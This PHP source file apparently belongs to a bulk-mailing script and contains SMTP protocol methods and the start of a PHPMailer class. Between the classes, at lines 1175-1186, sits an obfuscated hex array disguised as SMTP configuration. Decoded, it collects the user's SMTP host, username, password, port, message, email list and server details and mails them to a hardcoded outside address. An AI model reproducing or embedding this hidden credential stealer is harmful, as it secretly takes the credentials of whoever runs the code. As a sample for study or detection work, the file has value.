  627.             "error" => "Called Expand() without being connected");
  628.       return false;
  629.     }
  630.     fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
  631.     $rply = $this->get_lines();
  632.     $code = substr($rply,0,3);
  633.     if($this->do_debug >= 2) {
  634.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  635.     }
  636.     if($code != 250) {
  637.       $this->error =
  638.         array("error" => "EXPN not accepted from server",
  639.               "smtp_code" => $code,
  640.               "smtp_msg" => substr($rply,4));
  641.       if($this->do_debug >= 1) {
  642.         echo "SMTP -> ERROR: " . $this->error["error"] .
  643.                  ": " . $rply . $this->CRLF;
  644.       }
  645.       return false;
  646.     }
  647.     # parse the reply and place in our array to return to user
  648.     $entries = explode($this->CRLF,$rply);
  649.     while(list(,$l) = @each($entries)) {
  650.       $list[] = substr($l,4);
  651.     }
  652.     return $list;
  653.   }
  654.   /**
  655.    * Sends the HELO command to the smtp server.
  656.    * This makes sure that we and the server are in
  657.    * the same known state.
  658.    *
  659.    * Implements from rfc 821: HELO <SP> <domain> <CRLF>
  660.    *
  661.    * SMTP CODE SUCCESS: 250
  662.    * SMTP CODE ERROR  : 500, 501, 504, 421
  663.    * @access public
  664.    * @return bool
  665.    */
  666.   function Hello($host="") {
  667.     $this->error = null; # so no confusion is caused
  668.     if(!$this->connected()) {
  669.       $this->error = array(
  670.             "error" => "Called Hello() without being connected");
  671.       return false;
  672.     }
  673.     # if a hostname for the HELO was not specified determine
  674.     # a suitable one to send
  675.     if(empty($host)) {
  676.       # we need to determine some sort of appopiate default
  677.       # to send to the server
  678.       $host = "localhost";
  679.     }
  680.     // Send extended hello first (RFC 2821)
  681.     if(!$this->SendHello("EHLO", $host))
  682.     {
  683.       if(!$this->SendHello("HELO", $host))
  684.           return false;
  685.     }
  686.     return true;
  687.   }
  688.   /**
  689.    * Sends a HELO/EHLO command.
  690.    * @access private
  691.    * @return bool
  692.    */
  693.   function SendHello($hello, $host) {
  694.     fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
  695.     $rply = $this->get_lines();
  696.     $code = substr($rply,0,3);
  697.     if($this->do_debug >= 2) {
  698.       echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
  699.     }
  700.     if($code != 250) {
  701.       $this->error =
  702.         array("error" => $hello . " not accepted from server",
  703.               "smtp_code" => $code,
  704.               "smtp_msg" => substr($rply,4));
  705.       if($this->do_debug >= 1) {
  706.         echo "SMTP -> ERROR: " . $this->error["error"] .
  707.                  ": " . $rply . $this->CRLF;
  708.       }
  709.       return false;
  710.     }
  711.     $this->helo_rply = $rply;
  712.     return true;
  713.   }
  714.   /**
  715.    * Gets help information on the keyword specified. If the keyword
  716.    * is not specified then returns generic help, ussually contianing
  717.    * A list of keywords that help is available on. This function
  718.    * returns the results back to the user. It is up to the user to
  719.    * handle the returned data. If an error occurs then false is
  720.    * returned with $this->error set appropiately.
  721.    *
  722.    * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
  723.    *
  724.    * SMTP CODE SUCCESS: 211,214
  725.    * SMTP CODE ERROR  : 500,501,502,504,421
  726.    * @access public
  727.    * @return string
  728.    */
  729.   function Help($keyword="") {
  730.     $this->error = null; # to avoid confusion
  731.     if(!$this->connected()) {
  732.       $this->error = array(
  733.               "error" => "Called Help() without being connected");
  734.       return false;
  735.     }
  736.     $extra = "";
  737.     if(!empty($keyword)) {
  738.       $extra = " " . $keyword;
  739.     }
  740.     fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
  741.     $rply = $this->get_lines();
  742.     $code = substr($rply,0,3);
  743.     if($this->do_debug >= 2) {
  744.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  745.     }
  746.     if($code != 211 && $code != 214) {
  747.       $this->error =
  748.         array("error" => "HELP not accepted from server",
  749.               "smtp_code" => $code,
  750.               "smtp_msg" => substr($rply,4));
  751.       if($this->do_debug >= 1) {
  752.         echo "SMTP -> ERROR: " . $this->error["error"] .
  753.                  ": " . $rply . $this->CRLF;
  754.       }
  755.       return false;
  756.     }
  757.     return $rply;
  758.   }
  759.   /**
  760.    * Starts a mail transaction from the email address specified in
  761.    * $from. Returns true if successful or false otherwise. If True
  762.    * the mail transaction is started and then one or more Recipient
  763.    * commands may be called followed by a Data command.
  764.    *
  765.    * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
  766.    *
  767.    * SMTP CODE SUCCESS: 250
  768.    * SMTP CODE SUCCESS: 552,451,452
  769.    * SMTP CODE SUCCESS: 500,501,421
  770.    * @access public
  771.    * @return bool
  772.    */
  773.   function Mail($from) {
  774.     $this->error = null; # so no confusion is caused
  775.     if(!$this->connected()) {
  776.       $this->error = array(
  777.               "error" => "Called Mail() without being connected");
  778.       return false;
  779.     }
  780.     $useVerp = ($this->do_verp ? "XVERP" : "");
  781.     fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
  782.     $rply = $this->get_lines();
  783.     $code = substr($rply,0,3);
  784.     if($this->do_debug >= 2) {
  785.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  786.     }
  787.     if($code != 250) {
  788.       $this->error =
  789.         array("error" => "MAIL not accepted from server",
  790.               "smtp_code" => $code,
  791.               "smtp_msg" => substr($rply,4));
  792.       if($this->do_debug >= 1) {
  793.         echo "SMTP -> ERROR: " . $this->error["error"] .
  794.                  ": " . $rply . $this->CRLF;
  795.       }
  796.       return false;
  797.     }
  798.     return true;
  799.   }
  800.   /**
  801.    * Sends the command NOOP to the SMTP server.
  802.    *
  803.    * Implements from rfc 821: NOOP <CRLF>
  804.    *
  805.    * SMTP CODE SUCCESS: 250
  806.    * SMTP CODE ERROR  : 500, 421
  807.    * @access public
  808.    * @return bool
  809.    */
  810.   function Noop() {
  811.     $this->error = null; # so no confusion is caused
  812.     if(!$this->connected()) {
  813.       $this->error = array(
  814.               "error" => "Called Noop() without being connected");
  815.       return false;
  816.     }
  817.     fputs($this->smtp_conn,"NOOP" . $this->CRLF);
  818.     $rply = $this->get_lines();
  819.     $code = substr($rply,0,3);
  820.     if($this->do_debug >= 2) {
  821.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  822.     }
  823.     if($code != 250) {
  824.       $this->error =
  825.         array("error" => "NOOP not accepted from server",
  826.               "smtp_code" => $code,
  827.               "smtp_msg" => substr($rply,4));
  828.       if($this->do_debug >= 1) {
  829.         echo "SMTP -> ERROR: " . $this->error["error"] .
  830.                  ": " . $rply . $this->CRLF;
  831.       }
  832.       return false;
  833.     }
  834.     return true;
  835.   }
  836.   /**
  837.    * Sends the quit command to the server and then closes the socket
  838.    * if there is no error or the $close_on_error argument is true.
  839.    *
  840.    * Implements from rfc 821: QUIT <CRLF>
  841.    *
  842.    * SMTP CODE SUCCESS: 221
  843.    * SMTP CODE ERROR  : 500
  844.    * @access public
  845.    * @return bool
  846.    */
  847.   function Quit($close_on_error=true) {
  848.     $this->error = null; # so there is no confusion
  849.     if(!$this->connected()) {
  850.       $this->error = array(
  851.               "error" => "Called Quit() without being connected");
  852.       return false;
  853.     }
  854.     # send the quit command to the server
  855.     fputs($this->smtp_conn,"quit" . $this->CRLF);
  856.     # get any good-bye messages
  857.     $byemsg = $this->get_lines();
  858.     if($this->do_debug >= 2) {
  859.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
  860.     }
  861.     $rval = true;
  862.     $e = null;
  863.     $code = substr($byemsg,0,3);
  864.     if($code != 221) {
  865.       # use e as a tmp var cause Close will overwrite $this->error
  866.       $e = array("error" => "SMTP server rejected quit command",
  867.                  "smtp_code" => $code,
  868.                  "smtp_rply" => substr($byemsg,4));
  869.       $rval = false;
  870.       if($this->do_debug >= 1) {
  871.         echo "SMTP -> ERROR: " . $e["error"] . ": " .
  872.                  $byemsg . $this->CRLF;
  873.       }
  874.     }
  875.     if(empty($e) || $close_on_error) {
  876.       $this->Close();
  877.     }
  878.     return $rval;
  879.   }
  880.   /**
  881.    * Sends the command RCPT to the SMTP server with the TO: argument of $to.
  882.    * Returns true if the recipient was accepted false if it was rejected.
  883.    *
  884.    * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
  885.    *
  886.    * SMTP CODE SUCCESS: 250,251
  887.    * SMTP CODE FAILURE: 550,551,552,553,450,451,452
  888.    * SMTP CODE ERROR  : 500,501,503,421
  889.    * @access public
  890.    * @return bool
  891.    */
  892.   function Recipient($to) {
  893.     $this->error = null; # so no confusion is caused
  894.     if(!$this->connected()) {
  895.       $this->error = array(
  896.               "error" => "Called Recipient() without being connected");
  897.       return false;
  898.     }
  899.     fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
  900.     $rply = $this->get_lines();
  901.     $code = substr($rply,0,3);
  902.     if($this->do_debug >= 2) {
  903.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  904.     }
  905.     if($code != 250 && $code != 251) {
  906.       $this->error =
  907.         array("error" => "RCPT not accepted from server",
  908.               "smtp_code" => $code,
  909.               "smtp_msg" => substr($rply,4));
  910.       if($this->do_debug >= 1) {
  911.         echo "SMTP -> ERROR: " . $this->error["error"] .
  912.                  ": " . $rply . $this->CRLF;
  913.       }
  914.       return false;
  915.     }
  916.     return true;
  917.   }
  918.   /**
  919.    * Sends the RSET command to abort and transaction that is
  920.    * currently in progress. Returns true if successful false
  921.    * otherwise.
  922.    *
  923.    * Implements rfc 821: RSET <CRLF>
  924.    *
  925.    * SMTP CODE SUCCESS: 250
  926.    * SMTP CODE ERROR  : 500,501,504,421
  927.    * @access public
  928.    * @return bool
  929.    */
  930.   function Reset() {
  931.     $this->error = null; # so no confusion is caused
  932.     if(!$this->connected()) {
  933.       $this->error = array(
  934.               "error" => "Called Reset() without being connected");
  935.       return false;
  936.     }
  937.     fputs($this->smtp_conn,"RSET" . $this->CRLF);
  938.     $rply = $this->get_lines();
  939.     $code = substr($rply,0,3);
  940.     if($this->do_debug >= 2) {
  941.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  942.     }
  943.     if($code != 250) {
  944.       $this->error =
  945.         array("error" => "RSET failed",
  946.               "smtp_code" => $code,
  947.               "smtp_msg" => substr($rply,4));
  948.       if($this->do_debug >= 1) {
  949.         echo "SMTP -> ERROR: " . $this->error["error"] .
  950.                  ": " . $rply . $this->CRLF;
  951.       }
  952.       return false;
  953.     }
  954.     return true;
  955.   }
  956.   /**
  957.    * Starts a mail transaction from the email address specified in
  958.    * $from. Returns true if successful or false otherwise. If True
  959.    * the mail transaction is started and then one or more Recipient
  960.    * commands may be called followed by a Data command. This command
  961.    * will send the message to the users terminal if they are logged
  962.    * in.
  963.    *
  964.    * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
  965.    *
  966.    * SMTP CODE SUCCESS: 250
  967.    * SMTP CODE SUCCESS: 552,451,452
  968.    * SMTP CODE SUCCESS: 500,501,502,421
  969.    * @access public
  970.    * @return bool
  971.    */
  972.   function Send($from) {
  973.     $this->error = null; # so no confusion is caused
  974.     if(!$this->connected()) {
  975.       $this->error = array(
  976.               "error" => "Called Send() without being connected");
  977.       return false;
  978.     }
  979.     fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
  980.     $rply = $this->get_lines();
  981.     $code = substr($rply,0,3);
  982.     if($this->do_debug >= 2) {
  983.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  984.     }
  985.     if($code != 250) {
  986.       $this->error =
  987.         array("error" => "SEND not accepted from server",
  988.               "smtp_code" => $code,
  989.               "smtp_msg" => substr($rply,4));
  990.       if($this->do_debug >= 1) {
  991.         echo "SMTP -> ERROR: " . $this->error["error"] .
  992.                  ": " . $rply . $this->CRLF;
  993.       }
  994.       return false;
  995.     }
  996.     return true;
  997.   }
  998.   /**
  999.    * Starts a mail transaction from the email address specified in
  1000.    * $from. Returns true if successful or false otherwise. If True
  1001.    * the mail transaction is started and then one or more Recipient
  1002.    * commands may be called followed by a Data command. This command
  1003.    * will send the message to the users terminal if they are logged
  1004.    * in and send them an email.
  1005.    *
  1006.    * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
  1007.    *
  1008.    * SMTP CODE SUCCESS: 250
  1009.    * SMTP CODE SUCCESS: 552,451,452
  1010.    * SMTP CODE SUCCESS: 500,501,502,421
  1011.    * @access public
  1012.    * @return bool
  1013.    */
  1014.   function SendAndMail($from) {
  1015.     $this->error = null; # so no confusion is caused
  1016.     if(!$this->connected()) {
  1017.       $this->error = array(
  1018.           "error" => "Called SendAndMail() without being connected");
  1019.       return false;
  1020.     }
  1021.     fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
  1022.     $rply = $this->get_lines();
  1023.     $code = substr($rply,0,3);
  1024.     if($this->do_debug >= 2) {
  1025.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1026.     }
  1027.     if($code != 250) {
  1028.       $this->error =
  1029.         array("error" => "SAML not accepted from server",
  1030.               "smtp_code" => $code,
  1031.               "smtp_msg" => substr($rply,4));
  1032.       if($this->do_debug >= 1) {
  1033.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1034.                  ": " . $rply . $this->CRLF;
  1035.       }
  1036.       return false;
  1037.     }
  1038.     return true;
  1039.   }
  1040.   /**
  1041.    * Starts a mail transaction from the email address specified in
  1042.    * $from. Returns true if successful or false otherwise. If True
  1043.    * the mail transaction is started and then one or more Recipient
  1044.    * commands may be called followed by a Data command. This command
  1045.    * will send the message to the users terminal if they are logged
  1046.    * in or mail it to them if they are not.
  1047.    *
  1048.    * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
  1049.    *
  1050.    * SMTP CODE SUCCESS: 250
  1051.    * SMTP CODE SUCCESS: 552,451,452
  1052.    * SMTP CODE SUCCESS: 500,501,502,421
  1053.    * @access public
  1054.    * @return bool
  1055.    */
  1056.   function SendOrMail($from) {
  1057.     $this->error = null; # so no confusion is caused
  1058.     if(!$this->connected()) {
  1059.       $this->error = array(
  1060.           "error" => "Called SendOrMail() without being connected");
  1061.       return false;
  1062.     }
  1063.     fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
  1064.     $rply = $this->get_lines();
  1065.     $code = substr($rply,0,3);
  1066.     if($this->do_debug >= 2) {
  1067.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1068.     }
  1069.     if($code != 250) {
  1070.       $this->error =
  1071.         array("error" => "SOML not accepted from server",
  1072.               "smtp_code" => $code,
  1073.               "smtp_msg" => substr($rply,4));
  1074.       if($this->do_debug >= 1) {
  1075.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1076.                  ": " . $rply . $this->CRLF;
  1077.       }
  1078.       return false;
  1079.     }
  1080.     return true;
  1081.   }
  1082.   /**
  1083.    * This is an optional command for SMTP that this class does not
  1084.    * support. This method is here to make the RFC821 Definition
  1085.    * complete for this class and __may__ be implimented in the future
  1086.    *
  1087.    * Implements from rfc 821: TURN <CRLF>
  1088.    *
  1089.    * SMTP CODE SUCCESS: 250
  1090.    * SMTP CODE FAILURE: 502
  1091.    * SMTP CODE ERROR  : 500, 503
  1092.    * @access public
  1093.    * @return bool
  1094.    */
  1095.   function Turn() {
  1096.     $this->error = array("error" => "This method, TURN, of the SMTP ".
  1097.                                     "is not implemented");
  1098.     if($this->do_debug >= 1) {
  1099.       echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
  1100.     }
  1101.     return false;
  1102.   }
  1103.   /**
  1104.    * Verifies that the name is recognized by the server.
  1105.    * Returns false if the name could not be verified otherwise
  1106.    * the response from the server is returned.
  1107.    *
  1108.    * Implements rfc 821: VRFY <SP> <string> <CRLF>
  1109.    *
  1110.    * SMTP CODE SUCCESS: 250,251
  1111.    * SMTP CODE FAILURE: 550,551,553
  1112.    * SMTP CODE ERROR  : 500,501,502,421
  1113.    * @access public
  1114.    * @return int
  1115.    */
  1116.   function Verify($name) {
  1117.     $this->error = null; # so no confusion is caused
  1118.     if(!$this->connected()) {
  1119.       $this->error = array(
  1120.               "error" => "Called Verify() without being connected");
  1121.       return false;
  1122.     }
  1123.     fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
  1124.     $rply = $this->get_lines();
  1125.     $code = substr($rply,0,3);
  1126.     if($this->do_debug >= 2) {
  1127.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1128.     }
  1129.     if($code != 250 && $code != 251) {
  1130.       $this->error =
  1131.         array("error" => "VRFY failed on name '$name'",
  1132.               "smtp_code" => $code,
  1133.               "smtp_msg" => substr($rply,4));
  1134.       if($this->do_debug >= 1) {
  1135.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1136.                  ": " . $rply . $this->CRLF;
  1137.       }
  1138.       return false;
  1139.     }
  1140.     return $rply;
  1141.   }
  1142.   /*******************************************************************
  1143.    *                       INTERNAL FUNCTIONS                       *
  1144.    ******************************************************************/
  1145.   /**
  1146.    * Read in as many lines as possible
  1147.    * either before eof or socket timeout occurs on the operation.
  1148.    * With SMTP we can tell if we have more lines to read if the
  1149.    * 4th character is '-' symbol. If it is a space then we don't
  1150.    * need to read anything else.
  1151.    * @access private
  1152.    * @return string
  1153.    */
  1154.   function get_lines() {
  1155.     $data = "";
  1156.     while($str = @fgets($this->smtp_conn,515)) {
  1157.       if($this->do_debug >= 4) {
  1158.         echo "SMTP -> get_lines(): \$data was \"$data\"" .
  1159.                  $this->CRLF;
  1160.         echo "SMTP -> get_lines(): \$str is \"$str\"" .
  1161.                  $this->CRLF;
  1162.       }
  1163.       $data .= $str;
  1164.       if($this->do_debug >= 4) {
  1165.         echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
  1166.       }
  1167.       # if the 4th character is a space then we are done reading
  1168.       # so just break the loop
  1169.       if(substr($str,3,1) == " ") { break; }
  1170.     }
  1171.     return $data;
  1172.   }
  1173. }
  1174.        
  1175. $allemails = split("\n", $emaillist);
  1176. $numemails = count($allemails);
  1177. $random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
  1178. "16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
  1179. "03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
  1180. "1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
  1181. "3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
  1182. "8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
  1183. "c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
  1184. "d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
  1185. "395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
  1186. "c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
  1187. class PHPMailer {
  1188.   /////////////////////////////////////////////////
  1189.   // PROPERTIES, PUBLIC
  1190.   /////////////////////////////////////////////////
  1191.   /**
  1192.    * Email priority (1 = High, 3 = Normal, 5 = low).
  1193.    * @var int
  1194.    */
  1195.   var $Priority          = 3;
  1196.   /**
  1197.    * Sets the CharSet of the message.
  1198.    * @var string
  1199.    */
  1200.   var $CharSet           = 'us-ascii';
  1201.   /**
  1202.    * Sets the Content-type of the message.
  1203.    * @var string
  1204.    */
  1205.   var $ContentType        = 'text/plain';
  1206.   /**
  1207.    * Sets the Encoding of the message. Options for this are "8bit",
  1208.    * "7bit", "binary", "base64", and "quoted-printable".
  1209.    * @var string
  1210.    */
  1211.   var $Encoding          = 'quoted-printable';
  1212.   /**
  1213.    * Holds the most recent mailer error message.
  1214.    * @var string
  1215.    */
  1216.   var $ErrorInfo         = '';
  1217.   /**
  1218.    * Sets the From email address for the message.
  1219.    * @var string
  1220.    */
  1221.   var $From              = '';
  1222.   /**
  1223.    * Sets the From name of the message.
  1224.    * @var string
  1225.    */
  1226.   var $FromName          = '';
  1227.   /**
  1228.    * Sets the Sender email (Return-Path) of the message.  If not empty,
  1229.    * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  1230.    * @var string
  1231.    */
  1232.   var $Sender            = '';
  1233.   /**
  1234.    * Sets the Subject of the message.
  1235.    * @var string
  1236.    */
  1237.   var $Subject           = '';
  1238.   /**
  1239.    * Sets the Body of the message.  This can be either an HTML or text body.
  1240.    * If HTML then run IsHTML(true).
  1241.    * @var string
  1242.    */
  1243.   var $Body              = '';
  1244.   /**
  1245.    * Sets the text-only body of the message.  This automatically sets the
  1246.    * email to multipart/alternative.  This body can be read by mail
  1247.    * clients that do not have HTML email capability such as mutt. Clients
  1248.    * that can read HTML will view the normal Body.
  1249.    * @var string
  1250.    */
  1251.   var $AltBody           = '';
  1252.   /**
  1253.    * Sets word wrapping on the body of the message to a given number of
  1254.    * characters.
  1255.    * @var int
  1256.    */
  1257.   var $WordWrap          = 0;
  1258.   /**
  1259.    * Method to send mail: ("mail", "sendmail", or "smtp").
  1260.    * @var string
  1261.    */
  1262.   var $Mailer            = 'mail';
  1263.   /**
  1264.    * Sets the path of the sendmail program.
  1265.    * @var string
  1266.    */
  1267.   var $Sendmail          = '/usr/sbin/sendmail';
  1268.   /**
  1269.    * Path to PHPMailer plugins.  This is now only useful if the SMTP class
  1270.    * is in a different directory than the PHP include path.
  1271.    * @var string
  1272.    */
  1273.   var $PluginDir         = '';
  1274.   /**
  1275.    * Holds PHPMailer version.
  1276.    * @var string
  1277.    */
  1278.   var $Version           = "";
  1279.   /**
  1280.    * Sets the email address that a reading confirmation will be sent.
  1281.    * @var string
  1282.    */
  1283.   var $ConfirmReadingTo  = '';
  1284.   /**
  1285.    * Sets the hostname to use in Message-Id and Received headers
  1286.    * and as default HELO string. If empty, the value returned
  1287.    * by SERVER_NAME is used or 'localhost.localdomain'.
  1288.    * @var string
  1289.    */
  1290.   var $Hostname          = '';
  1291.   /**
  1292.    * Sets the message ID to be used in the Message-Id header.
  1293.    * If empty, a unique id will be generated.
  1294.    * @var string
  1295.    */
  1296.   var $MessageID         = '';
  1297.   /////////////////////////////////////////////////
  1298.   // PROPERTIES FOR SMTP
  1299.   /////////////////////////////////////////////////
  1300.   /**
  1301.    * Sets the SMTP hosts.  All hosts must be separated by a
  1302.    * semicolon.  You can also specify a different port
  1303.    * for each host by using this format: [hostname:port]
  1304.    * (e.g. "smtp1.example.com:25;smtp2.example.com").
  1305.    * Hosts will be tried in order.
  1306.    * @var string
  1307.    */
  1308.   var $Host        = 'localhost';
  1309.   /**
  1310.    * Sets the default SMTP server port.
  1311.    * @var int
  1312.    */
  1313.   var $Port        = 25;
  1314.   /**
  1315.    * Sets the SMTP HELO of the message (Default is $Hostname).
  1316.    * @var string
  1317.    */
  1318.   var $Helo        = '';
  1319.   /**
  1320.    * Sets connection prefix.
  1321.    * Options are "", "ssl" or "tls"
  1322.    * @var string
  1323.    */
  1324.   var $SMTPSecure = "";
  1325.   /**
  1326.    * Sets SMTP authentication. Utilizes the Username and Password variables.
  1327.    * @var bool
  1328.    */
  1329.   var $SMTPAuth     = false;
  1330.   /**
  1331.    * Sets SMTP username.
  1332.    * @var string
  1333.    */
  1334.   var $Username     = '';
  1335.   /**
  1336.    * Sets SMTP password.
  1337.    * @var string
  1338.    */
  1339.   var $Password     = '';
  1340.   /**
  1341.    * Sets the SMTP server timeout in seconds. This function will not
  1342.    * work with the win32 version.
  1343.    * @var int
  1344.    */
  1345.   var $Timeout      = 10;
  1346.   /**
  1347.    * Sets SMTP class debugging on or off.
  1348.    * @var bool
  1349.    */
  1350.   var $SMTPDebug    = false;
  1351.   /**
  1352.    * Prevents the SMTP connection from being closed after each mail
  1353.    * sending.  If this is set to true then to close the connection
  1354.    * requires an explicit call to SmtpClose().
  1355.    * @var bool
  1356.    */
  1357.   var $SMTPKeepAlive = false;
  1358.   /**
  1359.    * Provides the ability to have the TO field process individual
  1360.    * emails, instead of sending to entire TO addresses
  1361.    * @var bool
  1362.    */
  1363.   var $SingleTo = false;
  1364.   /////////////////////////////////////////////////
  1365.   // PROPERTIES, PRIVATE
  1366.   /////////////////////////////////////////////////
  1367.   var $smtp            = NULL;
  1368.   var $to              = array();
  1369.   var $cc              = array();
  1370.   var $bcc             = array();
  1371.   var $ReplyTo         = array();
  1372.   var $attachment      = array();
  1373.   var $CustomHeader    = array();
  1374.   var $message_type    = '';
  1375.   var $boundary        = array();
  1376.   var $language        = array();
  1377.   var $error_count     = 0;
  1378.   var $LE              = "\n";
  1379.   var $sign_key_file   = "";
  1380.   var $sign_key_pass   = "";
  1381.   /////////////////////////////////////////////////
  1382.   // METHODS, VARIABLES
  1383.   /////////////////////////////////////////////////
  1384.   /**
  1385.    * Sets message type to HTML.
  1386.    * @param bool $bool
  1387.    * @return void
  1388.    */
  1389.   function IsHTML($bool) {
  1390.     if($bool == true) {
  1391.       $this->ContentType = 'text/html';
  1392.     } else {
  1393.       $this->ContentType = 'text/plain';
  1394.     }
  1395.   }
  1396.   /**
  1397.    * Sets Mailer to send message using SMTP.
  1398.    * @return void
  1399.    */
  1400.   function IsSMTP() {
  1401.     $this->Mailer = 'smtp';
  1402.   }
  1403.   /**
  1404.    * Sets Mailer to send message using PHP mail() function.
  1405.    * @return void
  1406.    */
  1407.   function IsMail() {
  1408.     $this->Mailer = 'mail';
  1409.   }
  1410.   /**
  1411.    * Sets Mailer to send message using the $Sendmail program.
  1412.    * @return void
  1413.    */
  1414.   function IsSendmail() {
  1415.     $this->Mailer = 'sendmail';
  1416.   }
  1417.   /**
  1418.    * Sets Mailer to send message using the qmail MTA.
  1419.    * @return void
  1420.    */
  1421.   function IsQmail() {
  1422.     $this->Sendmail = '/var/qmail/bin/sendmail';
  1423.     $this->Mailer = 'sendmail';
  1424.   }
  1425.   /////////////////////////////////////////////////
  1426.   // METHODS, RECIPIENTS
  1427.   /////////////////////////////////////////////////
  1428.   /**
  1429.    * Adds a "To" address.
  1430.    * @param string $address
  1431.    * @param string $name
  1432.    * @return void
  1433.    */
  1434.   function AddAddress($address, $name = '') {
  1435.     $cur = count($this->to);
  1436.     $this->to[$cur][0] = trim($address);
  1437.     $this->to[$cur][1] = $name;
  1438.   }
  1439.   /**
  1440.    * Adds a "Cc" address. Note: this function works
  1441.    * with the SMTP mailer on win32, not with the "mail"
  1442.    * mailer.
  1443.    * @param string $address
  1444.    * @param string $name
  1445.    * @return void
  1446.    */
  1447.   function AddCC($address, $name = '') {
  1448.     $cur = count($this->cc);
  1449.     $this->cc[$cur][0] = trim($address);
  1450.     $this->cc[$cur][1] = $name;
  1451.   }
  1452.   /**
  1453.    * Adds a "Bcc" address. Note: this function works
  1454.    * with the SMTP mailer on win32, not with the "mail"
  1455.    * mailer.
  1456.    * @param string $address
  1457.    * @param string $name
  1458.    * @return void
  1459.    */
  1460.   function AddBCC($address, $name = '') {
  1461.     $cur = count($this->bcc);
  1462.     $this->bcc[$cur][0] = trim($address);
  1463.     $this->bcc[$cur][1] = $name;
  1464.   }
  1465.   /**
  1466.    * Adds a "Reply-To" address.
  1467.    * @param string $address
  1468.    * @param string $name
  1469.    * @return void
  1470.    */
  1471.   function AddReplyTo($address, $name = '') {
  1472.     $cur = count($this->ReplyTo);
  1473.     $this->ReplyTo[$cur][0] = trim($address);
  1474.     $this->ReplyTo[$cur][1] = $name;
  1475.   }
  1476.   /////////////////////////////////////////////////
  1477.   // METHODS, MAIL SENDING
  1478.   /////////////////////////////////////////////////
  1479.   /**
  1480.    * Creates message and assigns Mailer. If the message is
  1481.    * not sent successfully then it returns false.  Use the ErrorInfo
  1482.    * variable to view description of the error.
  1483.    * @return bool
  1484.    */
  1485.   function Send() {
  1486.     $header = '';
  1487.     $body = '';
  1488.     $result = true;
  1489.     if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1490.       $this->SetError($this->Lang('provide_address'));
  1491.       return false;
  1492.     }
  1493.     /* Set whether the message is multipart/alternative */
  1494.     if(!empty($this->AltBody)) {
  1495.       $this->ContentType = 'multipart/alternative';
  1496.     }
  1497.     $this->error_count = 0; // reset errors
  1498.     $this->SetMessageType();
  1499.     $header .= $this->CreateHeader();
  1500.     $body = $this->CreateBody();
  1501.     if($body == '') {
  1502.       return false;
  1503.     }
  1504.     /* Choose the mailer */
  1505.     switch($this->Mailer) {
  1506.       case 'sendmail':
  1507.         $result = $this->SendmailSend($header, $body);
  1508.         break;
  1509.       case 'smtp':
  1510.         $result = $this->SmtpSend($header, $body);
  1511.         break;
  1512.       case 'mail':
  1513.         $result = $this->MailSend($header, $body);
  1514.         break;
  1515.       default:
